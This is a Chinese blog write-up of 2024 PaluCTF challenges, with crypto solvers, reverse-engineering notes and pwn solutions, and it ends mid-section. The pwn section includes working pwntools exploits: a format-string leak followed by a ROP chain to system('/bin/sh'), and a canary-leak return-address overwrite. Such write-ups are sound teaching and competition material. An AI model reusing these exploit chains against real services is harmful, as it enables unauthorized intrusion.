[第一届 帕鲁杯 CTF挑战赛 2024] Crypto/PWN/Reverse

news/2024/5/3 23:33:22

被一个小题整坏了,后边就没认真打。赛后把没作的复盘一下。

比赛有52个应急响应,猜是取证,都是队友在干,我也不大关心。前边大多题是比赛的原题。这是后来听说的,可都没见过,看来打的比赛还是少了。

Crypto

peeeq

这个题始终不明白什么意思,后来看WP,才大概明白。

题目唯一的提示是leak,而这个leak又与谁都没关系。assert看不明白,后来给了提示说是assert不对。

看WP其实是说leak为一个最小值,这些值都可以表示为k1p+k2q的形式。而这个最小值叫最大不可能K,从形式上猜跟φ有关。WP上说是φ-1,那就好办了。

import gmpy2
from Crypto.Util.number import *def check(m, p, q):if m == 0: return Trueif m >= p and check(m-p, p, q) : return Trueif m >= q and check(m-q, p, q) : return Truereturn Falseflag = b"paluctf{***********************}"p = getPrime(1024)
q = getPrime(1024)
e = getPrime(17)
n = p*qpinv_e = gmpy2.invert(p, q)*e
qinv_e = gmpy2.invert(q, p)*e
m = bytes_to_long(flag)
c = pow(m, e, n)
print(c)
print(pinv_e)
print(qinv_e)
m = 0
while True:assert m <= leak or check(m, p, q)m += 1leak = 20650913970072868759959272239604024297420806808659110564312051736808778949599012338389873196411652566474168134639876252857623310159737758732845898956842366935678501021994729279299799994075598575657211550223683499328614158165787416177094173112167115888930719187253398687736037116845083325669521670262760600243895871953940839864925909273175442587377607028910874730344252804963645659770898616148180806608083557249713184454706023876544328444568520666837841566163924062054001534893538655581481021600384148478571641075265311650046699619525464106135807483192890198614434965478741402348088647355476402189540171838712520668315
c = 14656499683788461319601710088831412892194505254418064899761498679297764485273476341077222358310031603834624959088854557947176472443021560072783573052603773463734827298069959304747376040480522193600487999140388188743055733577433643210327070027972481119823973316743393323273128561824747871183252082782459568278265418266528855123687868624734106855360408027492126167597948385055908257193701028960507382053300960017612431744000472268868103779169759349652561826935960615964589526055579319224213399173783902104833907847546751649110661705034653912439791460180154034041113546810232929706136321281991114377628823527206109309013
pinv_e = 12474140378771043865022148848078136936465079800066130234618983104385642778672967864991495110508733111980066517889153671507701349679185396054215439179349403857665966245686661757089470553109534987101888628107055364941617805783362125836104920292552457095662777743387917809524955960583091720618281570118299619677634759
qinv_e = 1647206449953560407401595632741127506095799998014240087894866808907042944168674423038307995055460808040825182837354682801054048594394389801771888111156812819183105159993880849157459496014737241461466870906700457127028184554416373467332704931423207098246831148428600375416541264997943693621557486559170922000282251
'''
题目描述有误 assert m <= leak or check(m, p, q) 中的leak为满足要求的最小值
对于 m > {x | x>=leak} 的 m 都必然满足 check(m, p, q) == True
'''

对于已知φ和伪逆的情况可以用z3直接解。

1,这里e未知,可以直接用gcd求出再分解一下找17位的素数。

2,列两个算式求解:n=pinv*p + qinv*q -1;phi = (p-1)*(q-1)

#factor(gcd(pinv_e,qinv_e))
#3 * 102563
e = 102563pinv,qinv = pinv_e//e,qinv_e//e #最大不可能K=mp+nq 使>=K的值都能表示为mp+nq  K=pq-p-q = phi-1 
phi = leak+1 import z3
import libnum
s = z3.Solver()
p, q = z3.Ints('p q')
#invp*p = 1 mod q ; invq*q = 1 mod p 
#????
s.add(p*q == pinv * p + qinv * q - 1)
s.add(phi == (p-1)*(q-1))print(s.check())
m = s.model()p = m[p].as_long()
q = m[q].as_long()from Crypto.Util.number import *
m = pow(c,inverse(e,p-1),p)
long_to_bytes(m)
#b'paluctf{51b98a17-6843-4e3b-b06c-3cd956bc944c}'

 

gcccd

第2个题就比较简单了,给了c1 = m^e mod n; c2 = (m//2)^e mod n

from Crypto.Util.number import getStrongPrime, GCD, bytes_to_long
import os
from flag import flagdef long_to_bytes(long_int, block_size=None):"""Convert a long integer to bytes, optionally right-justified to a given block size."""bytes_data = long_int.to_bytes((long_int.bit_length() + 7) // 8, 'big')return bytes_data if not block_size else bytes_data.rjust(block_size, b'\x00')def gen_keys(bits=512, e=5331):"""Generate RSA modulus n and public exponent e such that GCD((p-1)*(q-1), e) == 1."""while True:p, q = getStrongPrime(bits), getStrongPrime(bits)n = p * qif GCD((p-1) * (q-1), e) == 1:return n, edef pad(m, n):"""Pad the message m for RSA encryption under modulus n using PKCS#1 type 1."""mb, nb = long_to_bytes(m), long_to_bytes(n)assert len(mb) <= len(nb) - 11padding = os.urandom(len(nb) - len(mb) - 3).replace(b'\x01', b'')return bytes_to_long(b'\x00\x01' + padding + b'\x00' + mb)def encrypt(m, e, n):"""Encrypt message m with RSA public key (e, n)."""return pow(m, e, n)n, e = gen_keys()
m = pad(bytes_to_long(flag), n)
c1, c2 = encrypt(m, e, n), encrypt(m // 2, e, n)print(f"n = {n}\ne = {e}\nc1 = {c1}\nc2 = {c2}")n = 128134155200900363557361770121648236747559663738591418041443861545561451885335858854359771414605640612993903005548718875328893717909535447866152704351924465716196738696788273375424835753379386427253243854791810104120869379525507986270383750499650286106684249027984675067236382543612917882024145261815608895379
e = 5331
c1 = 60668946079423190709851484247433853783238381043211713258950336572392573192737047470465310272448083514859509629066647300714425946282732774440406261265802652068183263460022257056016974572472905555413226634497579807277440653563498768557112618320828785438180460624890479311538368514262550081582173264168580537990
c2 = 43064371535146610786202813736674368618250034274768737857627872777051745883780468417199551751374395264039179171708712686651485125338422911633961121202567788447108712022481564453759980969777219700870458940189456782517037780321026907310930696608923940135664565796997158295530735831680955376342697203313901005151

由于flag以“}”结尾所在m是奇数,所以列式子的时候列成:

c1 = (2M+1)^e ,c2 = M^e然后用HGCD求解,原来一直用短填充,但用HGCD更快。反正都是模板。

from Crypto.Util.number import *
#half-gcd算法
def HGCD(a, b):if 2 * b.degree() <= a.degree() or a.degree() == 1:return 1, 0, 0, 1m = a.degree() // 2a_top, a_bot = a.quo_rem(x^m)b_top, b_bot = b.quo_rem(x^m)R00, R01, R10, R11 = HGCD(a_top, b_top)c = R00 * a + R01 * bd = R10 * a + R11 * bq, e = c.quo_rem(d)d_top, d_bot = d.quo_rem(x^(m // 2))e_top, e_bot = e.quo_rem(x^(m // 2))S00, S01, S10, S11 = HGCD(d_top, e_top)RET00 = S01 * R00 + (S00 - q * S01) * R10RET01 = S01 * R01 + (S00 - q * S01) * R11RET10 = S11 * R00 + (S10 - q * S11) * R10RET11 = S11 * R01 + (S10 - q * S11) * R11return RET00, RET01, RET10, RET11def GCD(a, b):print(a.degree(), b.degree())q, r = a.quo_rem(b)if r == 0:return bR00, R01, R10, R11 = HGCD(a, b)c = R00 * a + R01 * bd = R10 * a + R11 * bif d == 0:return c.monic()q, r = c.quo_rem(d)if r == 0:return dreturn GCD(d, r)PR.<x> = PolynomialRing(Zmod(n))
f1 = (2*x+1)^e - c1
f2 = x^e - c2res = GCD(f1,f2)
m = -res.monic().coefficients()[0]
flag = long_to_bytes(2*int(m)+1)
print(flag)
#flag{6a096839-3ccb-46b4-9eb0-841ca85c0f63}

lcccg

这题给了一个lcg但是参数比较特殊a=2,b=0,然后结果只取了末位。取比flag长50位的值转整后与明白异或。

import secrets
from Crypto.Util.number import bytes_to_longflag = b'paluctf{***********}'
class LCG:def __init__(self):self.x = secrets.randbits(64)self.a = 2self.m = secrets.randbits(64)while self.m % 2 == 0:self.m = secrets.randbits(64)print("m =", self.m)def next(self):self.x = (self.x * self.a) % self.mreturn self.xlcg = LCG()assert b"paluctf" in flag
f = bytes_to_long(flag)l = f.bit_length()
print("length =", l)r = 0
for i in range(l + 50):r += (lcg.next() & 1) << iprint("cipher =", r ^ f)#-------------------------------
m = 7870528503754256659
length = 311
cipher = 3255815260238431584829132773479447408817850185229659648404208268001256903206776002292220185602856730646093869

对于这题想到了二分法,高位为1为上一半,为0为下一半,依次下去。而这个数比如1010与整个空间10000的比其实就是seed与模的比大概值。如果数字够长就会非常准。

这题给了50位,有点不够模是64位,不过由于知道flag头flag头8字节64位就足够了,但后边提示是头一定在,所以感觉这个flag开头不是paluctf{,可能有填充,所以爆破了一下,结果是没有填充。浪费。

m = 7870528503754256659
length = 311
cipher = 3255815260238431584829132773479447408817850185229659648404208268001256903206776002292220185602856730646093869
'''
#bit=1 则2*x>m 否则2*x<m
所以对于 k位的密文v 则有seed = v/(1<<k) 再进行小量爆破
'''
def print_r(x,v3,idx):tx = xr = 0for i in range(dim):x = (x*2)%mr += (x & 1) << i#print(bin(v3)[2:].zfill(64))#print(bin(r)[2:].zfill(64))if r == v3:print('ok:',tx)r = 0x = txfor i in range(361-(idx+1)*8):x = (x*2)%mr += (x & 1) << iv = long_to_bytes(r^(cipher>>(8*(idx+1))))print(idx,len(v),v)#1,爆破头在哪 paluctf{ 头在开头
tc = cipher 
for i in range(39):tc >>=8v3 = (tc%(1<<64)) ^ bytes_to_long(b'paluctf{')seed = int(bin(v3)[2:].zfill(64)[::-1],2)*m // (1<<64)for j in range(20):print_r(seed+j,v3,i)'''
ok: 4664793086826221388
30 8 b'paluctf{'
在右移31字符后得到干净的头
'''

 用这个种子重算得到加密流然后异或解密。

#2,差后部31字节 向前推31字节,得到flag
seed = 4664793086826221388
for i in range(8*31):seed = seed * inverse(2,m)%mx = seed
r = 0
for i in range(361):x = (x*2)%mr += (x & 1) << iprint(long_to_bytes(r^(cipher)))
#b'paluctf{1_am_a_l0ng_l3g1n_1s_n0t_a_l!!}'

01110

这里先把明文作成2进制再当成10进制转整数,然后取每位与一个随机数的平方相乘。

from Crypto.Util.number import getPrime, getRandomRange, bytes_to_long
from random import randrange
from flag import flagp = getPrime(512)
q = getPrime(512)
n = p * (q**2)
e = 65537while True:z = randrange(1, n)if all(pow(z, (x - 1) // 2, x) == x - 1 for x in (p, q)):breakdef encrypt_bit(m, n, z):secret = getRandomRange(1, n - 1)return (pow(secret, 2, n) * pow(z, m, n)) % nm = int(bin(bytes_to_long(flag))[2:])
c = []
while m:bit = m % 10c.append(encrypt_bit(bit, n, z))m //= 10print("n=", n)
print("gift1=", pow((p + q), e, n))
print("gift2=", pow((p - q), e, n))
print("z=", z)
print("c=", c)

至于是0还是1可以爆破,将c去年后边就变成随机数的平方,也就是说爆破下看是不是二次剩余。如果是0那乘以的是1它是二次剩余,为1则不是。

当bit=0时 c = pow(secret,2,n) 是二次剩余,当bit=1时 c = pow(secret,2,n)*z不是二次剩余

这题跟p,q没关系。给了反尔更容易多走路。

from gmpy2 import jacobi,invert
from Crypto.Util.number import long_to_bytes
ms = ''
for tc in c:if jacobi(tc,n)==1:  #是二次剩余ms+='0'else:ms+='1'long_to_bytes(int(ms[::-1],2))
#paluctf{1_4m_th3_b0td_1n_t3st_1n_th3_r0w}

simple_crypto

这题唯一的提示是文件名lfrs.png.encrypt也就是说是lfrs加密的flag图片。

对于png图片前12字节是固定的,后边是IHDR+高宽,也就是知道16字节最大18(因为高度不好说,也可能是2字节)。

对于LFSR加密,mask为窗口长度,seed与mask对应位置异或后的和放尾部。这个需要爆破mask。由于只知道128位,所以小爆破一下。

* LFSR有个问题我一直不能确定:对于长度为k的mask成立时,长度为k+1也一定有对应的另外一个mask也能成立。也就是说比较16位时存在mask,17位是也存在mask,那么解密效果相同。mask取最小即可。

#取已知头部
msg = open('lfsr.png.encrypt','rb').read()
head = open('a.png','rb').read()[:0x10] #生成一个正常的png文件取头部对照key = [head[i]^msg[i] for i in range(0x10)]
print(key)
sv = ''.join([bin(i)[2:].zfill(8) for i in key])
print(sv)
sv = 11001010111111100110111101101011010011010011100101111001110010100000000011100100111111010110010101010010111000100111111001000110#爆破可用的mask
from z3 import *def get_mask(key_len, skey):p = [BitVec(f"p{i}", 1) for i in range(key_len)]s = Solver()#print(key_len,len(skey))for i in range(len(skey)-1-key_len):  #验证长度key =  skey[i:key_len+i+1]s.add(int(key[-1]) == sum([p[_] for _ in range(key_len) if key[_]=='1']))if s.check() == sat:d = s.model()#print(d)mask = ''.join([str(d[p[i]]) for i in range(key_len)])return maskreturn False#取已知明文一半,爆破所有可能的值
#取最短一个即可,有没有一个定理:如果K=len(mask)成立=>K+1也成立?
masks = []
for i in range(2,64):mask = get_mask(i,sv)if mask != False:print(i,mask)masks.append(mask)

不清楚刚说的成不成立,但能用,这里爆破出16以后都有,直接取16解,有人说取29其它都不行,我没理解。显然16-64都没问题。

###2,使用爆破到的mask求出足够长的加密流
def lfsr(seed,mask, retlen):retbin = seedretlen -= len(seed)seed = [int(i) for i in seed]mask = [int(i) for i in mask]for _ in range(retlen):b = sum([seed[i]*mask[i] for i in range(len(seed))])%2seed.append(b)seed.pop(0)retbin+= str(b)return bytes([int(retbin[i:i+8],2) for i in range(0,retlen,8)])clen = len(msg)*8###3,加密流与密文异或得到明文,爆破结果,所有可能的mask均可得到原文
from pwn import xor
for mask in masks:cipher = lfsr(sv[:len(mask)],mask, len(msg)*8)open(f's{len(mask)}.png', 'wb').write(xor(cipher,msg))break

 

crypto签到

一开始网站被Ddos攻击了,后来又被攻击了。

签到还下线了。一个字:该!

一个给p的RSA还要用远程,好无聊。

略。

玛卡巴卡有什么坏心思呢

玛卡巴卡玛卡巴卡轰达姆阿卡嗙轰阿巴雅卡阿巴雅卡阿巴雅卡轰达姆阿卡嗙轰哈姆达姆阿卡嗙哈姆达姆阿卡嗙哈姆达姆阿卡嗙轰玛卡巴卡轰达姆阿卡嗙轰阿巴雅卡阿巴雅卡轰咿呀呦轰达姆阿卡嗙轰

略。说是从网上能搜到码表。如果没法搜到那个页面还没法作了。

两元钱的铜匠

还以为是二元copper smith其实不是

from secret import flag
from Crypto.Util.number import *
m = bytes_to_long(flag)
p = getPrime(512)
q = getPrime(512)
n = p*q
c = pow(m, 65537, n)
N = getPrime(1024)
leak = (pow(9999, 66666)*p + pow(66666, 9999)*q) % N
print(f'n={n}')
print(f'c={c}')
print(f'N={N}')
print(f'leak={leak}')

注意这里是n和N,这个式子如果两边乘以p,就变成一元2次方程。

p*leak = 9999^66666*p^2 + 66666^999*n mod N

在sage里对有限域N求方程根。

n=80916351132285136921336714166859402248518125673421944066690210363157948681543515675261790287954711843082802283188843248579293238274583917836325545166981149125711216316112644776403584036920878846575128588844980283888602402513345309524782526525838503856925567762860026353261868959895401646623045981393058164201
c=22730301930220955810132397809406485504430998883284247476890744759811759301470013143686059878014087921084402703884898661685430889812034497050189574640139435761526983415169973791743915648508955725713703906140316772231235038110678219688469930378177132307304731532134005576976892978381999976676034083329527911241
N=175887339574643371942360396913019735118423928391339797751049049816862344090324438786194807609356902331228801731590496587951642499325571035835790931895483345540104575533781585131558026624618308795381874809845454092562340943276838942273890971498308617974682097511232721650227206585474404895053411892392799799403
leak=161177488484579680503127298320874823539858895081858980450427298120182550612626953405092823674668208591844284619026441298155371399651438065337570099147890081125477609238234662000811899869636390550619251741676887565983189442613760093303841954633720778312454175652907352477365434215186845209831284593041581382419#p*q == n, a1*p+a2*q == leak mod N =>  a1*p^2 - leak*p + a2*n ==0 mod N
a1,a2 = pow(9999, 66666,N),pow(66666, 9999,N)
P.<p> = PolynomialRing(Zmod(N))
f = a1*p^2 - leak*p + a2*n
f.roots()#[(106629367100406916315466325879020841571857885591730192765439666827411844199927696112373864480002028230623676089197780459822920505908628521220125929138381245686491638116937260902857393676211177541766160466286177892913861982882549327219419707722501990589121785234957751505157277673813563817780249578910215536985,  1), (7369460226203218007291482683484122432673051660657739743165520029005169640619453357512790807095244300800591778614929551073202263581117660350621325493923101,  1)]p = 7369460226203218007291482683484122432673051660657739743165520029005169640619453357512790807095244300800591778614929551073202263581117660350621325493923101
bytes.fromhex(hex(pow(c,inverse_mod(0x10001,p-1),p))[2:])
#b'paluctf{6699669966996699669966996699}'

江枫渔火对愁眠

给了p|q和p&q分解n

from Crypto.Util.number import *
flag = b'paluctf{******************}'
p = getPrime(512)
q = getPrime(512)
m = bytes_to_long(flag)
n = p * q
e = 0x10001
c = pow(m, e, n)
leak1 = p & q
leak2 = p | q
print(n)
print(leak1)
print(leak2)
print(c)n =116117067844956812459549519789301338092862193317140117457423221066709482979351921356314593636327834899992321545232613626111009441254302384449742843180876494341637589103640217194070886174972452908589438599697165869525189266606983974250478298162924187424655566019487631330678770727392051485223152309309085945253
leak1 = 8605081049583982438298440507920076587069196185463800658188799677857096281403951362058424551032224336538547998962815392172493849395335237855201439663804417
leak2 = 13407373154151815187508645556332614349998109820361387104317659096666170318961881115942116046384020162789239054091769561534320831478500568385569270082820389
c = 77391898018025866504652357285886871686506090492775075964856060726697268476460193878086905273672532025686191143120456958000415501059102146339274402932542049355257662649758904431953601814453558068056853653214769669690930883469679763807974430229116956128100328073573783801082618261383412539474900566590518020658

用了几个都不如自己原来写的,改着方便。

PR.<x> = PolynomialRing(Zmod(n))
ok = False
def pq_xor(tp,tq,idx):global ok if ok:return if tp*tq>n:return if (tp+(2<<idx))*(tq+(2<<idx))<n:return if idx<=120:print(hex(tp))print(hex(tq))try:for j in range(1<<2):  #已经位至少264位,再加2位f = tp + x + (j<<(120-2))rr = f.monic().small_roots(X=2^(120-2), beta=0.4, epsilon=0.05)if rr != []:print(rr)print(tp)print('p = ',f(rr[0]))ok = Truereturnexcept:passreturnidx -=1b1 = (leak1 >>idx)&1b2 = (leak2 >>idx)&1one = 1<<idx if b1==0 and b2==0:pq_xor(tp,tq,idx)elif b1==1 and b2==1:        pq_xor(tp+one,tq+one,idx)    else:   #1pq_xor(tp+one,tq,idx)pq_xor(tp,tq+one,idx)#N.nbits()=1023 gift.nbits()=512  p,q的512位为1
tp = 1<<511
tq = 1<<511
pq_xor(tp,tq,511)#爆破得到p
p =  13246755426378578729876630630718068462717569987788401039611945190239825377062020349346567434694413153125153375769817998716719780574738862166452227093778437
q = n//p
d = inverse_mod(0x10001, (p-1)*(q-1))
m = pow(c,d,n)
bytes.fromhex(hex(m)[2:])
#b'paluctf{&&&|||&&&|||&&&&&&&&&&&&|||||||||}'

PWN

Palu

在main里有个printf漏洞,在base64_decode里有个溢出。虽然代码稍有点长,但还是比较标准的板子题。

int __cdecl main(int argc, const char **argv, const char **envp)
{...v10 = __readfsqword(0x28u);back_door1();puts("Please tell me your name");read(0, buf, 0x5DuLL);printf(buf);                 //printfopp11();read(0, s1, 2uLL);if ( !strcmp(s1, "1\n") ){puts("Please enter the data you want to encode");read(0, s, 0x3CuLL);v4 = strlen(s);ptr = palu64_encode((__int64)s, v4);if ( !ptr ){puts("Memory allocation failed.");return 1;}printf("palu64 Encoded: %s\n", ptr);free(ptr);}else{if ( strcmp(s1, "2\n") ){puts("Invalid option");exit(0);}printf("Enter a palu64 string to decode: ");fgets(s, 0x3C, stdin);v6 = strlen(s);if ( s[v6 - 1] == 10 )s[v6 - 1] = 0;decode_palu64(s);  }return 0;
}
unsigned __int64 __fastcall decode_palu64(const char *a1)
{char *v1; // raxint v2; // eaxint v3; // eaxint v4; // eaxchar *s; // [rsp+8h] [rbp-68h]int v7; // [rsp+20h] [rbp-50h]int i; // [rsp+24h] [rbp-4Ch]size_t v9; // [rsp+30h] [rbp-40h]char *haystack; // [rsp+38h] [rbp-38h]int v11; // [rsp+40h] [rbp-30h]int v12; // [rsp+44h] [rbp-2Ch]int v13; // [rsp+48h] [rbp-28h]int v14; // [rsp+4Ch] [rbp-24h]char buf[24]; // [rsp+50h] [rbp-20h] BYREFunsigned __int64 v16; // [rsp+68h] [rbp-8h]s = (char *)a1;v16 = __readfsqword(0x28u);v9 = (3 * strlen(a1)) >> 2;haystack = (char *)malloc(v9 + 1);if ( haystack ){v7 = 0;while ( *s ){for ( i = 0; i <= 3; ++i ){v1 = s++;*(&v11 + i) = palu64_decode((unsigned int)*v1);}v2 = v7++;haystack[v2] = (4 * v11) | (v12 >> 4);if ( v13 <= 63 ){v3 = v7++;haystack[v3] = (16 * v12) | (v13 >> 2);}if ( v14 <= 63 ){v4 = v7++;haystack[v4] = ((_BYTE)v13 << 6) | v14;}}haystack[v7] = 0;if ( strstr(haystack, "Palu") ){puts("A small gift");read(0, buf, 0xC8uLL);                    // 溢出}printf("Decoded string: %s\n", haystack);free(haystack);}else{puts("Memory allocation failed.");}return __readfsqword(0x28u) ^ v16;
}

这里不清楚什么原因直接输入Palu会不行,前边需要加点填充

from pwn import *
from base64 import *context(arch='amd64', log_level='debug')
libc = ELF('./libc.so.6')#p = process('./Palu')
#gdb.attach(p, "b*0x400df8\nc")
p = remote('127.0.0.1', 24645)p.sendafter(b"Please tell me your name\n", b'%22$p,%23$p,%25$p,/bin/sh\x00')
stack = int(p.recvuntil(b',', drop=True),16)
canary = int(p.recvuntil(b',', drop=True),16)
libc.address = int(p.recvuntil(b',', drop=True),16) - 240 - libc.sym['__libc_start_main']
print(f"{stack=:x} {canary = :x} {libc.address = :x}")p.sendlineafter(b"Please tell me your options\n", b'2')
p.sendlineafter(b"Enter a palu64 string to decode: ", b64encode(b'aPalu\0'))
#backdoor
pop_rdi = 0x00000000004010a3 # pop rdi ; ret
pop_rsi = 0x00000000004010a1 # pop rsi ; pop r15 ; ret
p.sendlineafter(b"A small gift", flat(0,0,0,canary,0, pop_rdi+1, pop_rdi, next(libc.search(b'/bin/sh')), libc.sym['system']))p.interactive()

小游戏

这题拿到1血,一直坚持到比赛关门才有二血。

代码比较长,估计没人想看了。大概理一下,应该就不难了。

1,在proof里作了个个简单的2字节爆破proof

2,在read_flag_and_init_map里读入flag并放在地图角上,位置随机,在4个解的25*25内。

3,game里支持上下左右移动,但只能走0的位置

4,图上的起点在25这个边的内部,flag在外部有一圈数字无法穿越

5,当输入字符大于w时会输出 printf("Invaild : %s\n", &v1); 

6,当到达flag所在位置会输出flag

这题有问题就是怎么穿墙。起点在圈内,终点在圈外。

漏洞在于在game函数中调用 sub_25D1(&v1, 37); 而v1只有1字节后边是i和canary,在这里读入37字节会发生溢出出,但后边只溢出16字节无法写ROP。

坑:

1,这些数字墙是通过random生成的,前边是srand(time(0))但是无法同步。后来看这里没用

2,溢出时写37字节恰好到libc_start_main_ret但是得到后只有16字节又无法写ROP,one_gadget也都试了没用。其实用不着libc,再少给俩字节多好。

3,墙是随机的,写了Dijstra算法找最优路径,但发现墙有外圈,不穿墙过不去。

4,遍历图规模太大400*400。但flag在4角,每个角25*25,加上换角只需要25^2*4+350*3并不太大

这题的难度就在于坑,每个坑都需要走好远,发现不行了再回来重新开始。

思路:

1,先通过溢出,开头写大于w的字符得到canary和elf地址

2,在输入里修改返回main的地址从0x2bde( game运行后)改为0x2bd4(game运行前)重入,由于在遇到墙退出里已经修改指针到新位置,所以穿越回game后会从新位置重新开始,从而达到穿墙目的。

3,通过遍历4个解得到flag

from pwn import *
from hashlib import sha256context(arch='amd64', log_level='error')
libc = ELF('/home/kali/glibc/libs/2.35-0ubuntu3-amd64/libc.so.6')
elf = ELF('./YUZ')#p = process('./YUZ')
#gdb.attach(p, "b*0x555555556a8b\nc")
p = remote('127.0.0.1', 35061)#1,proof
p.recvuntil(b'guidance."\n')
head = bytes.fromhex(p.recv(14).decode().replace(' ', ''))
p.recvline()
shahex = p.recvline().strip().decode()
for i in range(256):for j in range(256):v = head+bytes([i,j])v = sha256(v).hexdigest()if v == shahex:p.sendafter(b':', f"{i:02x} {j:02x}".ljust(10, '\0').encode())break'''
0x00007fffffffde60│+0x0000: 0x7878787878ffdf98   ← $rsp
0x00007fffffffde68│+0x0008: 0xf8d9d29ea6a41b78
0x00007fffffffde70│+0x0010: 0x008be8dd836c5ddc   ← $rbp
0x00007fffffffde78│+0x0018: 0x0000555555556bde  →   mov eax, 0x0
0x00007fffffffde80│+0x0020: 0x0000000000000001
0x00007fffffffde88│+0x0028: 0x00007ffff7def18a  →  <__libc_start_call_main+122> mov edi, eax
'''
#2,leak   5+canary+rbp+gameret+rbp+libc
#get canary
for i in range(5): p.recvline()
point = eval(p.recvline())
print(point)
p.sendline(b'x'*6)
p.recvuntil(b'x'*6)
canary = b'\x00'+ p.recv(7)
print(canary.hex())#elf
p.sendlineafter(b')\n', b'x'*21)
p.recvuntil(b'x'*21)
elf.address = u64(p.recv(6)+b'\x00'*2) - 0x2bde
print(f"{elf.address =:x}")#libc
p.sendafter(b')\n', b'x'*37)
p.recvuntil(b'x'*37)
libc.address = u64(p.recv(6)+ b'\x00'*2) - 0x29d90
print(f"{libc.address = :x}")pop_rdi = libc.address + 0x000000000002a3e5 # pop rdi ; ret
bin_sh  = next(libc.search(b'/bin/sh'))pay = b'x'+p32(0)+ flat(canary,0,elf.address+0x2bd4,1)
p.sendafter(b')\n',pay)#go (0,0)
print('-------2')
path1 = 'w'*point[0]+'a'*point[1]
for v in path1:while True:msg = p.recvline()if b',' in msg:breakprint(msg)pay = v.encode()+p32(0)+ flat(canary,0,elf.address+0x2bd4,1)p.send(pay)#search corner
print('-------3')
path = ('d'*25+'s'+'a'*25+'s')*12 + 'd'*400 + ('w'+'a'*25+'w'+'d'*25)*12 + 's'*400 + ('a'+'w'*25+'a'+'s'*25)*12 + 'a'*375 + ('w'+'d'*25+'w'+'a'*25)*12
for v in path:while True:msg = p.recvline()print(msg)if b',' in msg:breakif b'flag' in msg:print(msg)pay = v.encode()+p32(0)+ flat(canary,0,elf.address+0x2bd4,1)p.send(pay)p.interactive()#b'(394, 395)\n'
#b"You successfully destroyed the enemy's signal generator! flag is:flag{b4fa8d5f-a3cd-4388-a611-db1f5d4c975e}\n"

Reverse

看名字就知道是tea加密了。从IDA的findcrypt找到salsa20,虽然不是tea但也没啥问题。与lfrs,rc4差不多这种流加密,只要获得了流就OK了,而获得流的办法就是随便弄个明文再加密一次。

odbg先在比较位置下断点,输入‘000000000000000000000000000000000’,断开后得到加密后的密文和,flag的密文。由于salsa20是异或加密,直接对3都异或。

c = 'f568c48912eed6dc520c7164f44b6378e1d0d3e248914fa8847b405a131f'
b = "a33495de599c93983d751e18ad1036179288829110c04da8eb061f184652"
v = '0'*30from pwn import xor
xor(xor(v.encode(),bytes.fromhex(b)),bytes.fromhex(c))
b'flag{But_I_Like_ChaCha20_More}'

Auth System

从ida找到这个

int sub_401550()
{int ii; // [rsp+28h] [rbp-18h]int n; // [rsp+2Ch] [rbp-14h]int m; // [rsp+30h] [rbp-10h]int k; // [rsp+34h] [rbp-Ch]int j; // [rsp+38h] [rbp-8h]int i; // [rsp+3Ch] [rbp-4h]for ( i = 0; (unsigned __int64)i <= 0x6D; ++i )putchar(aUuUUuUUuuuUuuu[i] ^ 0xA);putchar(10);for ( j = 0; (unsigned __int64)j <= 0x6D; ++j )putchar(aTwWTtTTtTWTttw[j] ^ 0xB);putchar(10);for ( k = 0; (unsigned __int64)k <= 0x6D; ++k )putchar(aPPspPSlPSlPpPS[k] ^ 0xC);putchar(10);for ( m = 0; (unsigned __int64)m <= 0x6D; ++m )putchar(aQRqQRqQRq11Rrr[m] ^ 0xD);putchar(10);for ( n = 0; (unsigned __int64)n <= 0x6D; ++n )putchar(aRqrRqrrqqQrrqq[n] ^ 0xE);putchar(10);for ( ii = 0; (unsigned __int64)ii <= 0x6D; ++ii )putchar(aSpppSpsSppppps[ii] ^ 0xF);return putchar(10);
}

然后弄出来。注意这里不要用bytes因为转义后会乱,看不出来。

a = ['**UU*U***************UU**U****UUUU***UUUU*UUU*UUU********U****UUUU*UUUUU***UUU*UUUU*****UUUUU*U***U*U***UUU***',
'+$+Tw+w+TT+T++TT+T++$+$+$+W++$+TTTw+$+TTTwT+TwT+Tw++++++$+W++w++T+WT+++Tw+wT+T$+TTTw+++w++TTTw+w+w+w+W+w+W+W++',
'p,pSp,p#,Sl,p#,Sl,pp,p,#,S,P,PSSS,Pp,p,,,,p,p,p,p,,,,,,#,S,P,p,pS%,pp,p,,,,p,pPSSS,P,,,p,pS,,p,p,p,p,,Pp,pp,p,',
'q--Rq-q-%Rq-q-%Rq-1-1-"-RRR-Q-RRR$-q-qRRR-q-q-q-q-----"-RRR-Qq--R-1-q-q----q-q-RRR$-q--q--Rq-q-qRq-q-qQ--q-3-3',
'rQr.rQrRQQ"QrRQQ".rr.!Q!...RQRQQQQ!.RQQQQrQQQrQQQrQQQ!Q!...RQRQr.RQRrQrQQQrQQQrQQQQ!QQQrQr....RQQQ!rQr.RQrr.r.',
'/sPPP //SPS/sPPPPPs//sPPPPPs//sPPPPPs P //']for i in range(6):print(bytes([v^^(i+0xa) for v in a[i].encode()]).decode())

 

PyLu

又是python打包的exe文件,解开后填加头,然后到网站上解密。原先tool.lu已经不行了,没想到这题居然又能用了。

#!/usr/bin/env python
# visit https://tool.lu/pyc/ for more information
# Version: Python 3.11from Crypto.Util.number import bytes_to_longdef enc(key):R = bytes_to_long(b'Welcome To PaluCTF!')MOD = 2 ** 418R = R ^ R - 60 >> 24R = R ^ R - 60 << 88R ^= keyR = -R * R * 2024 % MOD  # R**2 => R*RR = R * key % MODreturn Rflag = input('Welcome To PaluCTF!\nInput FLAG:')
m = bytes_to_long(flag.encode())
cor = 0x2E441F765514CCA89173554726494D37E9FBE774B6F807BC5F6E71117530CE3D7DB5F70554C03CD9055F4E42969600904DF1F4DB8
if enc(m) == cor:print('Congratulation!')return None
print('Wrong FLAG!')

用z3解出key

from z3 import *s = Solver()
key = BitVec('key', 418)
s.add(enc(key) == cor)
s.check()
s.model()
#[key = 56006392793429433699362054746857211947342229695176108896172031696188789774216665112129816951245595005]
key = 56006392793429433699362054746857211947342229695176108896172031696188789774216665112129816951245595005
from Crypto.Util.number import *
long_to_bytes(key)
#b'flag{e88f88d7-4d75-462b-8447-bf4ab7aeab1a}'

O2 Optimization

elf文件,但是ida打不开,找个正常的elf对比一下改第5字节。然后得到加密流程。

#1,修改ELF文件头,将第4字节4改为2(64位程序)
#2,sub_2430() 将数据放入 obj,unk_5360,qword_5340
int sub_2430()
